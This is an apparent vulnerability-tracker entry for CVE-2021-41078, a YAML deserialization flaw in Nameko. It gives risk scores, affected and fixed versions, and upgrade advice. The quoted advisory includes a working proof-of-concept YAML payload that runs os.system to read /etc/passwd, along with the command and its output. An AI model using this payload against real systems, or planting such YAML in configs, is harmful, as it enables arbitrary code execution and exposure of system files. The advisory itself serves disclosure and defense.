CVE-2021-41078High· 8.6▾ MidnightPoC availableNameko Arbitrary code execution due to YAML deserialization
▾ Midnight zone — Critical, or high with PoC / in-the-wild
impact 47.3 · likelihood 0.3 · exploitation 12
A public proof-of-concept already exists for this vulnerability — see Exploit availability below.
Public exploit / PoC code seen in 1 source. Availability, not in-the-wild use.
Exploit-prediction probability, daily snapshots since Jul 8.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
1.5%
1.5% → 1.5%
1 GitHub repo
Nameko can be tricked to perform arbitrary code execution when deserialising a YAML config file. Example:
# malicious.yaml
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"
$ nameko run --config malicious.yaml test
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
...
The problem was fixed in https://github.com/nameko/nameko/pull/722 and released in version 2.14.0, and in rc10 of the v3 pre-release.
Versions prior to 2.14.0, and v3.0.0rc0 through v3.0.0rc9 are still vulnerable.
The vulnerability is exploited by config files with malicious content. It can be avoided by only using config files that you trust.
nameko < 2.14.0nameko >= 3.0.0rc0, < 3.0.0rc10Upgrade to a patched release:
nameko 2.14.0nameko 3.0.0rc10Field changes observed since this record was first indexed.